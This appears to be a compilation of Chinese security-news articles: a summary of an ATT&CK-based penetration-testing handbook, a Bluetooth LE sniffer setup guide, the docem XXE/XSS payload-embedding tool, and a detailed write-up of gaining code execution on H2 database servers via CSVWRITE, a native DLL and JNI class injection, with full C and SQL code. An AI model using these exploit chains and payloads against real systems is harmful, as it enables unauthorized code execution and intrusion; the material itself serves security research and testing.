声明:本手册仅用作信息安全技术竞技与基于此模型进行的安全防御使用,如用于任何其他非法用途与本文中所提及的公司/团队/个人均无关!

ATTCK-PenTester-Book是由DeadEye团队联合多家安全公司及安全团队的安全研究人员(名单见文末),根据ATT&CK知识体系整理编辑的一份长达400多页的渗透参考手册,其中包含了大量的实验环境设置方法及图文的解释说明,因此即便你是新手也能很好的理解并参照手册自己动手实践。该手册主要包含以下十个部分的内容:

一、Initial Access(入口点)

(1)水坑攻击

分析并了解目标的上网活动规律,寻找目标经常访问的网站的漏洞,利用漏洞在该网站植入恶意代码(陷阱、水坑),在目标进行访问时攻击形成。

多种可能被植入的代码,包括:

通过注入某些形式的恶意代码。例如:JavaScript、iframe、跨站脚本等

植入恶意的广告链接

内置的 Web 应用程序接口用于插入任何其他类型的对象,该对象可用于显示 Web 内容或包含在访问客户端上执行的脚本(例如,论坛帖子,评论和其他用户可控制的 Web 内容),重定向用户所经常访问的站点到恶意站点

1. 在页面嵌入存储型 XSS,获得用户 cookie 信息

编写具有恶意功能的 javascript 语句,例如获取登录用户 cookie、内网 ip、截屏、网页源代码等操作,配合 XSS 平台可查看获取到的信息。

2. phpstudy backdoor

2019 年 9 月 20 日杭州公安微信公众账号发布了“杭州警方通报打击涉网违法犯罪暨“净网 2019”专项行动战果”的文章,文章里说明 phpstudy 存在“后

门”,攻击者通过在 phpstudy 2016 php5.4 和 phpstudy2018 php-5.2.17 和php-5.4.45 中植入后门并发布至互联网,导致大量使用 phpstudy 的用户成

为肉鸡。

3. JSONP 水坑攻击

4. Adobe flash player 28(CVE-2018-4878)

攻击者通过构造特殊的 Flash 链接,当用户用浏览器/邮件/Office 访问此Flash 链接时,会被“远程代码执行”,并且直接被 getshell。

5. Beef 攻击框架

(2)利用公开漏洞

利用软件、数据库、中间件、第三方库或存在漏洞的库等公开的漏洞,对目标系统进行攻击,以达到攻击未及时修补或升级的信息系统。

(3)外部远程服务

(4)渗透到其他网络介质

(5)硬件攻击

二、Execution(命令执行)

命令执行包括(远程动态数据交换、命令行界面、本地-Signed Script Proxy Execution(签名脚本代理执行)、chm、CMSTP、本地-CPL、本地-Forfiles、本地-IEExec、InfDefaultInstall、InstaIIUtil、MSHTA、MSIexec、Pcalua、Regsvcs/Regasm(.NET 服务安装工具/程序集注册工具)、regsv***、Rundll32、Scripting(脚本执行)、SyncAppvPublishingServer、Trusted Developer Utilities(值得信赖的开发者工具)、Winword、XSL Script Processing(XSL 脚本处理)、XSL Script Processing(XSL 脚本处理)、本地任务调度、PsExec、计划任务、用户图形化界面、DCOM 利用、Powershell、SMBexec、WinRM、wmic、Language LUA in Files .wlua、INF-SCT、Reflection.Assembly、msconfig、sigverif.exe、DXCap.exe、Register-cimprovider.exe (T1218 )、xls mimikatz、WMI (T1047)(详见完整版)

三、Persistence(持久化)

Office -SVG (T1137)

ADS 数据流 (T1137)

ADS 数据流 (T1137)

RunOnceEx (T1137)

winlogon_regedit (T1137 ) (T1004)

ImageFileExecutionOptionscmd(T1183)

C#内存加载执行 mimikatz 之 dll 劫持 (T1038)

Run-key-hexacorn 持久性 1

Run-key-hexacorn 持久性 2

linux 权限维持

进程注入

SSH 衍生的各种方式

PAM 利用

ineted 正向后门利用

基于 SUID 的各种衍生利用

替换常用的系统命令

反弹各种 shell 的方式

常规系统计划任务

各种开源 rootkit

apache 和 nginx 的 lua 模块

windows 下利用注册表进行权限维持、BootExecute 密钥、用户名密钥、LogonScripts 键、启动密钥、浏览器助手对象、AppInit_DLLs、文件关联、映像劫持(IFEO)、COM 劫持、CLR、CAccPropServicesClass&MMDeviceEnumerato、MruPidlList、winlogon_regedit、ImageFileExecutionOptionscmd、RunOnceEx、WMI、Waitfor.exe、bitsadmin、MSDTC、Netsh、DoubleAgent、office、shift 后门、RDP会话劫持、计划任务、影子账户(详见完整版)

四、Privilege Escalation(权限提升)

权限提升的方法包括:账户权限介绍Windows UAC、Linux、存储凭证、Windows 内核漏洞利用、DLL 注入、弱服务权限、DLL 劫持、权限提升技术代号 Hot potato、Juicy Potato (T1134 – 访问令牌操作 )、权限提升知识上下文获取之过程分享、token_privEsc、窃取 Token To GetSystem、Windows API 和模拟(T1134)、ALPC (T1068)、组策略首选项、不带引号的服务路径、Always Install Elevated 策略、令牌操作(token)、不安全的注册表权限、GET SYSRET(详见完整版)

五、Defense Evasion(绕过防御)

绕过防御可通过以下应用程序或方法:MSBuild.exe、Installutil.exe、mshta.exe、Msiexec.exe、wmic.exe、Atbroker.exe、Bash.exe、Bitsadmin.exe、Cmd.exe、Cmstp.exe、Diskshadow.exe、Dnscmd.exe、Extexport.exe、Forfiles.exe、Ftp.exe、Gpscript.exe、Hh.exe、Ie4uinit.exe、Ieexec.exe、Infdefaultinstall.exe、Installutil.exe、Mavinject.exe、Microsoft.Workflow.Compiler.exe、Mmc.exe、Msconfig.exe、Msdt.exe、Mshta.exe、Msiexec.exe、Odbcconf.exe、Pcalua.exe、Presentationhost.exe、Regasm.exe、Register-cimprovider.exe、Regsvcs.exe、Regsv***.exe、Rundll32.exe、COM 劫持、进程注入 Propagate( T1055 TA0005 TA0004 )、进程注入 InfectPE( T1055 TA0005 TA0004 )、cscript ( TA0002 TA0005 T1216 )、Mavinject(T1218)(详见完整版)

六、Credential Access(获取凭证)

包含以下部分内容:

账户操作

Windows

暴力破解

凭证转储

组策略首选项(GPP)文件

文件中的凭据

注册表中的凭据

键盘记录

Kerberos

Kerberoast

嗅探

密码过滤

Linux

Bash History

密码转储

私钥

网络嗅探描述

文件中的凭据描述

七、Discovery(基础信息收集)

该部分详见完整版。

八、lateral-movement(横向渗透)

RID 劫持 (hash 传递 ) (T1075)

Windows 分布式组件对象模型 DCOM (T1175)

利用 RDP 跳跃网络隔离

九、C&C(命令控制)

常用的端口

通过移动媒体进行通信

连接代理

自定义命令和控制协议

自定义加密协议

数据编码

数据混淆

域面对

域生成算法

后备通道

多跳代理

十、Exfiltration(信息窃取)

远程文件复制

自动脚本窃取

数据压缩

代替的协议窃取

命令控制信道窃取

网络媒介窃取

数据加密

物理介质窃取

已计划的转移

特别感谢以下参与编辑整理的公司/团队/团体及个人(排名不分先后)

个人id:

Dm、demonsec666、wLHK、sec875、Krbtgt、毁三观大人、狗蛋、CreaT0ye、朋与厌、WHITE、sky1ike、Geekby、Echocipher、Pumpkin、G01lc、yywoxin、Saxaul、小维、Skay、Creeper

公司/团队/团体:

DeadEye 安全实验室、破晓安全团队、即刻安全团队、奇虎 360、奇安信、深信服蓝军、深信服安服、破晓团队、知道创宇、北京邮电大学、安全脉搏、启明星辰、行云知安、万达信息

参考

https://attack.mitre.org/

渗透手册完整版下载:

ATTCK-PenTester-Book

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

Sniffle是一个基于使用TI CC1352/CC26x2硬件的蓝牙5和4.x LE嗅探器。

Sniffle具有许多有用的功能,包括:

支持BT5/4.2扩展长度广播和数据包

支持BT5 Channel选择算法#1 和 #2

支持所有BT5 PHY模式(常规1M,2M和编码模式)

支持仅嗅探广播和忽略连接

支持channel map,连接参数和PHY更改操作

支持通过MAC地址和RSSI进行广播过滤

支持BT5扩展广播(非定期)

支持使用单个嗅探器在所有三个主广播信道上从目标MAC捕获广播。这使得连接检测的可靠性比大多数仅嗅探一个广播信道的嗅探器要高出近三倍。

用Python编写的易于扩展的主机端软件

与Ubertooth兼容的PCAP导出

必要条件

TI CC26x2R Launchpad 板:https://www.ti.com/tool/LAUNCHXL-CC26X2R1

或TI CC1352R Launchpad 板:https://www.ti.com/tool/LAUNCHXL-CC1352R1

GNU ARM嵌入式工具链:https://developer.arm.com/open-source/gnu-toolchain/gnu-rm/downloads

TI CC26x2 SDK 3.20.00.68:https://www.ti.com/tool/download/SIMPLELINK-CC13X2-26X2-SDK

TI DSLite 编程软件:请参见下文

Python 3.5+ 并安装了 PySerial

注意:通过少量适当的修改编译Sniffle应该是可以让它运行在CC1352P Launchpad板上的,但具体可行性如何我并未尝试。

安装 GCC

通过各种Linux发行版的软件包管理器提供的arm-none-eabi-gcc,通常都会缺少一些头文件或需要对连接器配置进行一些更改。为了尽量减少麻烦,我建议使用上面链接提供的ARM GCC。你可以下载并提取预构建的可执行文件。

安装 TI SDK

TI SDK是作为一个可执行二进制文件提供的,一旦你接受了许可协议,该二进制文件就会提取一堆源代码。在Linux和Mac上,默认安装目录为~/ti/,我建议在此处使用默认设置,实践证明它工作的非常的好。

提取SDK之后,你将需要编辑一个makefile以匹配你的构建环境。在~/ti/simplelink_cc13x2_26x2_sdk_3_20_00_68(或安装SDK的任何位置)中,都有一个名为imports.mak的生成文件。构建Sniffle只需要在这里设置GCC和XDC的路径。请参阅以下diff示例,并根据安装的位置进行调整。

diff --git a/imports.mak b/imports.mak
index 270196a5..1918effd 100644
--- a/imports.mak
+++ b/imports.mak
@@ -18,13 +18,13 @@
 # will build using each non-empty *_ARMCOMPILER cgtool.
 #
 
-XDC_INSTALL_DIR        ?= /home/username/ti/xdctools_3_51_03_28_core
+XDC_INSTALL_DIR        ?= $(HOME)/ti/xdctools_3_51_03_28_core
 SYSCONFIG_TOOL         ?= /home/username/ti/ccs910/ccs/utils/sysconfig/sysconfig_cli.sh
 
 
 CCS_ARMCOMPILER        ?= /home/username/ti/ccs910/ccs/tools/compiler/ti-cgt-arm_18.12.2.LTS
 CLANG_ARMCOMPILER      ?= /path/to/clang/compiler
-GCC_ARMCOMPILER        ?= /home/username/ti/ccs910/ccs/tools/compiler/gcc-arm-none-eabi-7-2017-q4-major
+GCC_ARMCOMPILER        ?= $(HOME)/arm_tools/gcc-arm-none-eabi-8-2018-q4-major
 
 # The IAR compiler is not supported on Linux
 # IAR_ARMCOMPILER      ?=

获取 DSLite

DSLite是TI用于XDS110调试器的命令行编程和调试服务器的工具。CC26xx和CC13xx Launchpad板均包含了XDS110调试器。不幸的是,TI没有提供独立的命令行DSLite下载。获取DSLite的最简单方法是从TI安装UniFlash。它适用于Linux,Mac和Windows。相对于UniFlash安装目录,DSLite可执行文件将位于deskdb/content/TICloudAgent/linux/ccs_base/DebugServer/bin/DSLite中。在Linux上,默认的UniFlash安装目录位于~/ti/中。

同时,你应该将DSLite可执行目录添加到$PATH中。

构建和安装

一旦GCC,DSLite和SDK安装并开始运行,构建Sniffle就变得非常轻松了。只需转到fw目录并运行make。如果未将SDK安装到默认目录,则可能需要在makefile中编辑SIMPLELINK_SDK_INSTALL_DIR。

要使用DSLite在(插入的)CC26x2 Launchpad上安装Sniffle,请在fw目录中运行make load。你也可以使用UniFlash GUI flash已编译的sniffle.out二进制文件。

如果要在CC1352R启动板上而不是CC26x2R上进行构建或安装,则必须指定PLATFORM=CC1352R1F3作为make的参数,或者在调用make之前将其定义为环境变量。在CC13x2和CC26x2之间切换前,请确保已执行了make clean命令。

使用

[[email protected] python_cli]$ ./sniff_receiver.py --help
usage: sniff_receiver.py [-h] [-s SERPORT] [-c {37,38,39}] [-p] [-r RSSI]
                         [-m MAC] [-a] [-e] [-H] [-l] [-o OUTPUT]
Host-side receiver for Sniffle BLE5 sniffer
optional arguments:
  -h, --help            show this help message and exit
  -s SERPORT, --serport SERPORT
                        Sniffer serial port name
  -c {37,38,39}, --advchan {37,38,39}
                        Advertising channel to listen on
  -p, --pause           Pause sniffer after disconnect
  -r RSSI, --rssi RSSI  Filter packets by minimum RSSI
  -m MAC, --mac MAC     Filter packets by advertiser MAC
  -a, --advonly         Sniff only advertisements, don't follow connections
  -e, --extadv          Capture BT5 extended (auxiliary) advertising
  -H, --hop             Hop primary advertising channels in extended mode
  -l, --longrange       Use long range (coded) PHY for primary advertising
  -o OUTPUT, --output OUTPUT
                        PCAP output file name

Launchpad板上的XDS110调试器将创建两个串行端口。在Linux上,它们通常会被命名为ttyACM0和ttyACM1。创建的两个串行端口中的第一个用于与Sniffle通信。默认情况下,Python CLI使用/dev/ttyACM0进行通信,但是如果你未在Linux上运行或连接其他USB CDC-ACM设备,则可能需要使用-s命令行选项覆盖此选项。

对于-r(RSSI过滤器)选项,如果嗅探器非常接近或几乎接触到了传输设备,则-40值通常会很好地起作用。RSSI过滤器对于在繁忙的RF环境中忽略无关的广播非常有用。RSSI过滤器仅在捕获广播时才处于活动状态,因为你总是希望捕获正在跟踪的连接数据通信流量。MAC过滤处于活动状态时,你可能不想使用RSSI过滤器,因为当RSSI过低时,你可能会丢失感兴趣的MAC地址的广播。

想要与广播一起跳转并进行可靠的连接嗅探,需要使用-m选项设置MAC过滤器。你应该指定外围设备而不是中央设备的MAC地址。想要确定要嗅探的MAC地址,你可以将嗅探器放置在目标附近,然后运行带有RSSI过滤的嗅探器。这将向你显示来自目标设备的广播,包括其MAC地址。需要注意的是,许多BLE设备使用随机MAC地址进行广播,而非标签上写的“真实”固定MAC地址。

为方便起见,MAC过滤器有一个特殊的模式,它使用-m top调用脚本,而不是使用-m MAC地址调用脚本。在这种模式下,嗅探器将锁定通过RSSI过滤器的第一个广播客户MAC地址。因此-m top模式应始终与RSSI过滤器一起使用,以避免锁定到虚假的MAC地址。嗅探器锁定MAC地址后,嗅探接收器脚本将自动禁用RSSI过滤器(使用-e选项时除外)。

要在Bluetooth 5扩展广告中启用以下辅助指针,请启用-e选项。为了提高扩展广播捕获的性能和可靠性,即使设置了MAC过滤器,此选项也可以在主广播信道上禁用跳频。如果不确定是通过传统广播还是扩展广播建立连接,则可以将-H标志与-e结合使用,以对传统广播执行主信道跳频,并计划监听扩展广播辅助数据包。与-e和-H组合使用时,与仅在主(传统)或次要(扩展)广播信道上跳频相比,连接检测的可靠性可能会降低。

要在主广播信道上监听远程PHY,请指定-l选项。注意,由于所有远程广播都使用了BT5扩展机制,因此在远程模式下不支持在主广播信道之间进行跳频。在扩展机制下,所有三个主信道上的辅助指针都将指向相同的辅助数据包,因此在主信道之间跳频是不必要的。

如果由于某些原因嗅探器固件锁定,并且即使禁用了过滤器也拒绝捕获任何流量,那么你应该重置嗅探器MCU。在Launchpad板上,重置按钮位于micro USB端口旁。

使用示例

嗅探信道38上的所有广播,忽略RSSI < -50,即使看到CONNECT_REQ仍停留在广播信道上。

./sniff_receiver.py -c 38 -r -50 -a

从MAC 12:34:56:78:9A:BC监听广告,即使看到CONNECT_REQ仍停留在广播信道上,将广播保存到data1.pcap中。

./sniff_receiver.py -m 12:34:56:78:9A:BC -a -o data1.pcap

嗅探广播和RSSI> = -40看到的第一个MAC地址的连接。一旦MAC地址被锁定,RSSI过滤器将自动禁用。将捕获的数据保存到data2.pcap中。

./sniff_receiver.py -m top -r -40 -o data2.pcap

嗅探来自附近(RSSI> = -55)设备的BT5扩展广播和连接。

./sniff_receiver.py -r -55 -e

从具有指定MAC地址的设备嗅探传统和扩展的广播和连接。将捕获的数据保存到data3.pcap中。

./sniff_receiver.py -eH -m 12:34:56:78:9A:BC -o data3.pcap

使用38信道上的远距离主PHY嗅探扩展广播和连接。

./sniff_receiver.py -le -c 38

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

docem是一个用于向docx,odt,pptx等(任意包含大量xml文件的zip)文件中嵌入XXE/XSS Payload的工具。许多常见的文档格式(例如doc,docx,odt等)都只是一个zip文件,其中包含了一些xml文件。

_|_|_| 

_| _| _|_| _|_|_| _|_| _|_|_| _|_|
_| _| _| _| _| _|_|_|_| _| _| _|
_| _| _| _| _| _| _| _| _| _|_|_| _|_| _|_|_| _|_|_| _| _| _|version 1.3

该工具是ShikariSenpaiansjdnakjdnajkd对文档内部结构进行协作研究的side project。

那为什么不将XXE payloads嵌入其中呢?

这项伟大的研究是由Will Vandevanter (_will_is) 完成的。要创建带有嵌入payloads的文档,我们可以使用一个名为oxml_xxe的工具。

但是,当你需要在不同的位置创建数百个payloads文档时,使用oxml_xxe并不方便。这也是Docem被创建的主要原因之一。

它的工作方式如下:你指定sample文档 – 该文档具有一些magic_symbols(在下图中为፨(在程序中为常量XXCb8bBA9XX)),如果你使用XXE payload,则将其替换为对 payload的引用;或者将被你的XSS payload所替换。

此外,payload_type有三种不同的类型 – 每种类型都决定了如何处理对文档中给定文件的各个magic_symbol。在用法部分对各个payload_type进行了描述。下面是一个小的工作方案:

Payload modes

程序界面

安装

pip3 install -r requirements.txt

使用

python3 docem.py --help

必要参数

xss – XSS – 跨站点脚本

xxe – XXE – 外部XML实体

-s – sample文件或sample目录的路径

-pm – payload模式

可选参数

per_document -默认模式,将payload嵌入所有文件中的所有位置并创建新文档

per_file – 对于各个payload,文档中的各个文件,以及文件中的所有位置嵌入payload并创建新文档

per_place – 对于各个payload,文件中的各个位置嵌入payload并创建新文档

-pt – payload类型

-pf – payload文件

-kt – 不要在tmp中删除临时文件夹

-sx – sample扩展名-当sample是目录时使用

-h – 打印帮助信息

示例:

./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx
./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place
./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx

如何创建自定义 sample?

通过新文件

1.提取你的文档example.docx

2.在要嵌入payload的地方添加magic symbols(魔术符号)- ፨

3.将你的新sample压缩到example_modified0.zip中

4.重命名扩展名 – example_modified0.docx

5.使用新创建的sample

如何添加自定义 payload?

XXE payloads

文件中的字符串

{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}

vector - 必要关键字 – 用于脚本搜索

<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]> - payload。警告所有双引号 ” 必须用一个反斜杠转义 \ => \”

reference - 必要关键字 – 用于脚本搜索

&xxe_canary_0; - 将在所有位置添加带有魔术符号的引用

XSS payloads

没有特殊格式。只是一个有字符串的文件。

功能和计划

功能

读取带有payload的文件

XXE自定义payload文件

XSS payload文件

计划

添加可以嵌入解压缩文件的功能

添加标志用以指定要在XXE中使用的自定义网址

添加标志用以指定要在XSS中使用的自定义网址

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。

介绍

上周,Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析的博文。它描述了如果LogbackH2数据库引擎库可用,如何利用Jackson库中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码 创建用户定义的函数,并使用Java编译器动态编译这些函数。

但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。

H2 能力评估

假设我们不能使用CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。

但是,CREATE ALIAS … FOR …  命令可以使用:

当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。

因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。

在Java运行时库rt.jar中浏览candidates时,我们发现System.load(String)方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。

但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?

使用 H2 写入任意文件

在查看和研究了一些H2函数后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是在1.4.190中引入的。而我们需要的是在1.2.141中可用的函数。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。

快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,writeColumnHeader选项仅被添加在了1.3/1.4.177上

但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。

查看H2的列语法,列的columnName可以是带引号的名称,定义如下:

” anything “ 
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。

这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。

首先,让我们生成涵盖所有8-bit octet的测试数据:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

然后,我们在以下CSVWRITE调用中使用它:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

最后,我们测试写入的文件是否具有相同的校验和:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

可以看到,文件应该是相同的!

进入原生世界

既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。

让我们更进一步,看看是否有办法从SQL执行任意命令/代码。

Java Native Interface(JNI)允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。

现在,我的想法是使用JNI通过ClassLoader.defineClass(byte[], int, int)将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。

使用 JNI 调用 JVM

首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs函数来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。 使用该指针,我们可以与JVM交互并调用JNI函数,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStatic<Type>Method/Call<Type>Method。 计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:

// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = { /* ... */ };
size_t bufLen = sizeof(buf);
jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);
JNIEnv * g_env;
JavaVM* g_vm;
jsize num_vms = 0;
jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms);
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
  // printf("GetEnv: not attached\n");
  if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
    // printf("Failed to attach\n");
  }
} else if (getEnvStat == JNI_OK) {
  // printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
  // printf("GetEnv: version not supported\n");
}
jclass cls;
jmethodID meth;
jobject obj;
cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");
// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);
// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");
jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);
(*g_env)->DeleteLocalRef(g_env, jData);
(*g_vm)->DetachCurrentThread(g_vm);

这基本上是模仿了以下Java代码:

Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);
meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.setAccessible(true);
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:

public class JNIScriptEngine {
  public static String eval(String script) throws Exception {
    return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();
  }
}

最终,整合在一起的代码如下:

-- write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');
-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');

这样我们就可以从SQL执行任意的JavaScript代码了。

*参考来源:codewhitesec,FB小编secist编译,转载请注明来自FreeBuf.COM

背景

对于任何一个安全工程师来说,在确保网络安全之前首先了解他们的网络是至关重要的,但这并不是一项轻松的任务且耗时耗力。在中大型组织的网络中,如果没有网络架构图,则相当于掉落到了一个“盲”的世界,而采用手动验证的方式更是不切实际。因此,为了确保整个网络的安全,重要的是对所有连接到你网络的系统有一个全面的了解,而不论其类型,功能,技术等。

简介

LetsMapYourNetwork(LMYN)是一款物理网络可视化工具,其旨在为安全工程师和网络管理员提供易于使用的界面,以图形形式显示其网络,而无需手动操作,其中一个节点表示一个系统,而节点之间的关系表示连接。

LMYN分两个阶段进行:

学习:在此阶段,LMYN通过执行网络命令并查询API来“学习”网络,然后利用响应来构建图形数据库。用户可以在任意时间执行任意学习活动,LMYN会将结果合并到现有数据库中。

监视:这是一个连续的过程,其中LMYN会监视“范围内(in-scope)”网络的任何更改,将其与现有信息进行对比,并相应地更新图形数据库。

该工具中使用了以下技术:

Django Python

Neo4j DB

Sigma JS

Celery and RabbitMQ

优点

以图形的形式可视化基础架构网络,使其更“可见”,为安全工程师和网络管理员提供了良好的分析和对关键领域的绝对关注。

另外,“Let’s Map Your Network”完全基于实际网络一部分的“种子”系统执行的网络操作或通过查询API来制图。因此,在网络映射中不会出现人为错误。

在哪使用

网络架构“验证”

网络管理员故障排除

内部网络漏洞评估和渗透测试

相关演示

BlackHatEurope2018 演示幻灯片

演示视频

主要特性

1. 项目管理

用户可以创建和删除多个项目,从不同角度查看同一网络和/或同时分析多个网络

在一个项目中,所有学习活动的结果将被整理成一个单一的视图,从而提供网络的整体视图

2. 现有CMDB的批量加载

用户可以将其现有的CMDB文件上传到LMYN中,它将为实际网络提供“增量(delta)”

因此,LMYN将提供其CMDB中而非网络中的隔离,反之亦然,以便用户对恶意系统采取措施

对于不同类型的系统,它使用不同的颜色代码方案,例如,在网络中运行但未在CMDB中显示的系统将显示为红色节点

3. 执行按需网络活动的能力

除了上传CMDB文件,用户还可以对任意项目执行以下网络活动:

跟踪路由到任意目标主机

对任何IP和/或范围进行网络扫描(接受所有已知的IP格式)

LMYN将整合上述执行结果到同一项目中,以构建网络

4. 云(AWS)支持

LMYN从AWS API获取拓扑信息,例如VPC,子网,对等操作(Peering),Internet网关等,并以图形形式表示

LMYN将AWS网络进行逻辑隔离,将其划分为“区域> VPC>子网>实例(Regions > VPCs > Subnets > Instances)”,并相应地对它们进行分组

5. 枚举

LMYN将执行多个枚举探针来识别操作系统和设备类型,以及网络构建时间

对于AWS,LMYN将通过查询AWS API来获取实例信息,例如平台,状态,VPC,子网等。

如果枚举成功,则LMYN将为每个节点分配一个相关的图标

6. 仅分析“感兴趣”网络的能力

一旦用户使用多个活动(CMDB上传,ad-hoc网络活动,云扫描,枚举)构建网络,那么用户只能从UI部分的整个数据库中筛选出“感兴趣”的网络

可以根据基本操作(例如IP范围,目标主机)或枚举详细信息(Linux,Windows,路由器,VPC,子网,状态等)执行过滤。

过滤过程允许执行“与”和“或”类运算,例如 “all IP in range 192.168.1.1/24 and Windows”

过滤过程允许用户在数据库中输入所有信息,并在运行时决定用户所看到的内容

7. 持续监控

此外,LMYN还可以监视一段时间内的任何现有网络

用户可以以图形的形式识别他们的网络是如何变化的(哪些系统正在断开连接到网络)

LMYN同样会利用颜色代码方案,来隔离网络中不同类型的系统,例如所有不活动的节点将显示为灰色

8. 后端活动和用户界面的隔离

LMYN通过UI在功能上隔离后端活动

LMYN具有Celery和RabbitMQ的实现;因此,无论背景活动如何,用户都能够拥有一个无缝的UI

LMYN会跟踪所有后台活动的状态并定期更新UI

9.Docker支持

所有这些都可以在docker中实现

安装

使用 DockerHub – 仅 Linux

1. 安装docker & docker-compose

sudo apt-get update

sudo apt-get install docker-ce docker-compose

2. wgethttps://raw.githubusercontent.com/varchashva/LetsMapYourNetwork/master/docker-compose.yml

3. docker-compose up

4. 在浏览器中打开http://localhost:9999/core

对于 Windows 用户

